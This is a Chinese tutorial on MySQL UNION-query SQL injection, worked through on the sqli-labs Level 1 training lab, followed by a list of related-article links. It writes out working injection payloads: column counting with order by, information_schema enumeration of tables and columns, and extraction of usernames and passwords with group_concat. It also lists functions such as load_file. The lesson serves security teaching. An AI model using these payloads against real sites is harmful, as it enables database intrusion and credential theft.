MySQL中的联合查询

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合在一起,使用为此为UNINO或UNION ALL
联合查询:将多个查询的结果合并到一起(纵向合并):字段数不变,多个查询的记录数合并

基本语法:
select 语句
union[union选项]
select 语句;

联合查询注入的条件

联合查询注入是MySQL注入中的一种方式,在SQL注入中说了注入漏洞存在的相关条件,而联合查询注入这种方法需要满足查询的信息在前端有回显,回显数据的位置就叫回显位。
如果有注入漏洞的页面存在这种回显位就可以利用联合查询注入的方式进行注入。

联合查询注入

这里通过sqli-labs第一关来学习联合查询注入的方式
根据SQL注入原理可以得知,这里存在SQL注入漏洞。
我们将id=1换成id=2,发现login name 和password都发生了改变,这里就存在我们所说的回显点
进行注入首先要判断一下该表的字段数,因为联合注入前后查询的字段数应该保持一样,判断字段的方式最常见的是order by关键字的判断

order by原本是排序语句
select * from table order by n
n 表示select里面的第n个字段,整段sql的意义是:查询出来的结果,按照第N个字段排序
不过当N大于该表字段就会报错,根据这个可以使用order by关键字判断字段数

如果字段数较少,还可以通过union select 1,2,3…这样不断测试字段数,当数字大于字段数就会报错。

?id=1' order by 4 --+


此时直接告诉了我们不存在4个字段,那就折一半
此时正确回显,所以字段数应该是大于或等于2,小于4。
测试一下order by 3,此时也正确回显了,说明该表共有3个字段
当我们知道存在3个字段了,又知道存在回显点,此时就可以正式进行联合查询注入
我们需要知道查询语句的回显位的位置,可以直接使用?id=1’ union select 1,2,3 --+
不过问题来了,按理来说1,2,3这些数字应该会出现在回显位上,可为什么还是出现原来正常的结果呢,其实此时联合查询已经生效了,为了更加清楚的了解这个点我们通过MySQL处理器和代码来弄清楚这个问题

当使用了联合查询之后,1,2,3的结果的确得了出来,但是放在了第二行显示,第一行仍然是SELECT * FROM users WHERE id=‘1’ 的结果
而此处的代码只是输出了第一行的查询结果

所以我们需要使得前面的查询语句查询不到结果,这样我们就可以输出第二行的数据了。
可以参考一下下面的查询结果,表中无id=0的数据,所以第一行直接输出了联合查询的结果。
?id=0' union select 1,2,3 --+
可以得知在2和3的位置上具有回显位,在上面可以放入我们的查询语句

查询语句得数据

这里我们先可以查询一些数据库的相关信息
查数据库版本:?id=0' union select 1,2,version() --+
得到数据库版本位5.5.53
查当前用户:?id=0' union select 1,2,user() --+
得到当前用户名为root,应该是管理员用户
查当前数据库:?id=0' union select 1,2,database() --+
得到当前数据库名为security
查文件所在路径?id=0' union select 1,2,@@datadir --+
得到路径为D:\phpstudy\MySQL\data
这里再补充一些重要的函数

version()                # mysql 数据库版本
database()              # 当前数据库名
user()                  # 用户名
current_user()          # 当前用户名
system_user()           # 系统用户名
@@datadir             # 数据库路径
@@version_compile_os  # 操作系统版本

当然,最重要的环节还是查询数据库数据,MySQL里有一个默认数据库information_schema,通过这个数据库可以使得查询事半功倍。
还有一些重要的字符串函数需要结合使用

length()             # 返回字符串的长度
substring()
substr()                # 截取字符串
mid()
left()                  # 从左侧开始取指定字符个数的字符串
concat()                # 没有分隔符的连接字符串
concat_ws()             # 含有分割符的连接字符串
group_conat()           # 连接一个组的字符串
ord()                   # 返回ASCII 码
ascii()
hex()                   # 将字符串转换为十六进制
unhex()                 # hex 的反向操作
md5()                   # 返回MD5 值
floor(x)                # 返回不大于x 的最大整数
round()                 # 返回参数x 接近的整数
rand()                  # 返回0-1 之间的随机浮点数
load_file()             # 读取文件,并返回文件内容作为一个字符串
sleep()                 # 睡眠时间为指定的秒数
if(true,t,f)            # if 判断
find_in_set()           # 返回字符串在字符串列表中的位置
benchmark()             # 指定语句执行的次数

接下来就是爆表名,字段名,和值了
爆表名的语句

?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+

爆字段名的语句

?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 --+

爆值语句

?id=0' union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+

这里都是采用group_concat连接在一起同时输出的方式进行查询,其实也可以通过limit进行逐条输出
limit m,n 从m条开始,输出n条数据
最后,我们就完成了SQL联合注入。

总结

其实,还是和原理中说的一样,SQL注入式一种注入漏洞,只要让语句完成正常闭合,利用注释控制住整体语句,接下来就是正常的MySQL查询过程。主要要理解好联合注入产生的原因和利用方式。笔者还是希望通过最简洁的表述和演示让大家认识到漏洞的产生和利用,这样便于理解和掌握。谢谢大家,祝大家生活愉快!

SQL注入之联合查询注入相关推荐

  1. sql注入 union联合查询注入(超详细)

    sql注入 union联合查询注入 我们以sqli-labs的第一关为例,来具体理解union联合查询注入的方法,理解每一步我为什么要这么去做. 好的,我们开始第一关! 首先查看sqli-labs第一 ...

  2. 【SQL注入】联合查询(最简单的注入方法)

    目录 一.介绍: 二.原理: 三.前提条件 四.利用过程 一.介绍: 是最简单的一种注入方法 联合查询注入  报错查询注入  布尔型注入  延时注入  堆叠查询注入 二.原理: 就是可合并多个查询的结 ...

  3. SQL注入——基于联合查询的字符型GET注入(三)

    本章目的 普及字符型GET注入的原理和特点,掌握利用联合查询(unionselect)的方法实现SQL注入的基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 ( ...

  4. SQL注入之联合查询(MySQL)

    SQL注入之联合查询 0x00 前期准备 0x01 联合查询前提 0x02 注入步骤 0x03个人小结 一.Mysql注释 二.Mysql系统函数 三.其他 0x00 前期准备 环境搭配:Apache ...

  5. 【SQL注入-03】union联合查询注入案例

    目录 1 union联合查询注入概述 1.1 简介 1.2 适用条件 1.3 注入步骤 1.4 注入技巧 2 union联合查询注入案例 2.1 操作环境 2.2 操作具体步骤 2.2.1 判断是否存 ...

  6. SQL注入——联合查询注入

    0x01 SQL注入的原理 针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原 有SQL结构,达到编写程序时意料之外结果的攻击行为.其成因可以归结外一下 两个原因叠加造成的: 1 ...

  7. SQL注入原理及实践(一)--SQL注入之联合查询

    SQL注入原理及实践(一)–SQL注入之联合查询 1)判断注入类型 一般采用[1and1=2]去判断,当输入[1and1=2]时, 如果报错,则为数字型注入, 如果显示正常,则为字符型注入 原理如下: ...

  8. SQL注入-联合查询注入

    SQL注入-联合查询注入 一,原理 使用union select对两个表联合查询,注意两个表查询的字段数量要相同,不然会报错. 比如表一有2个字段,表二有4个字段,要想联合查询必须查询字段数量相等,就 ...

  9. mysql联合查询注入防护,SQL注入之BypassWaf

    0x00 前言 无论是在CTF比赛中还是在现实项目中,都会遇到各种各样的waf,没有绝对安全的系统,仔细的研究总会发现被"漏掉"的地方. 最近在研究过waf的技巧,期间还是很有趣的 ...

最新文章

  1. 在SpringBoot项目中使用redis简单用法(一)
  2. 计算机书籍-机器学习预测分析Go语言实现
  3. NLP词性标注数据准备及模型训练实例
  4. C++模板之核心:typename
  5. psycopg2模块安装问题
  6. SAP Spartacus checkout 流程使用 url 粘贴直接跳转到 delivery mode不能打开页面的原因
  7. 苹果手机6s运营商在哪里显示无服务器,iPhone6s信号很弱或无服务如何解决【解决方法】...
  8. 传相互宝或于6月11日被关停 蚂蚁集团回应:假消息
  9. TSCAN算法matlab,使用TscanCode和scan-build进行静态分析
  10. 程序员面试时自称字节跳动工作两年,被发现学历造假,结果蒙了
  11. oir 用image j打开的插件_Windows 上使用 VSCode Remote 插件进行远程开发
  12. 一种人是成功为了赚钱,一种人是赚钱为了成功
  13. python编辑器文字放大_python学习笔记000
  14. AD16操作技巧笔记
  15. matlab状态空间程序,实验四用MATLAB求解状态空间模型
  16. 利用DroidCam将手机摄像头打造成电脑摄像头
  17. 数据仓库(2)数仓、大数据与传统数据库的区别
  18. R语言绘制生存曲线估计|生存分析|如何R作生存曲线图
  19. Linux无线网连接解决方案
  20. 两个坚持是什么_成年人的生活里,没有容易两个字

热门文章

  1. python之Tkinter详解
  2. 致远SPM解决方案之内部邮箱插件
  3. JIT编译和AOT编译
  4. Future和Callable的使用
  5. ZBrush教程(二):可用雕刻笔刷功能介绍
  6. android 双击点赞动画,模仿android版instagram双击点赞效果
  7. 系统动力学模型_典型海洋生态系统动力学模型构建、应用及发展入选2020年经典中国国际出版工程...
  8. 根据班级实现成绩单文件划分
  9. 云从科技姚志强:聚焦To B 重视协同 我们只做擅长的事情
  10. 《数理统计》王晓光答案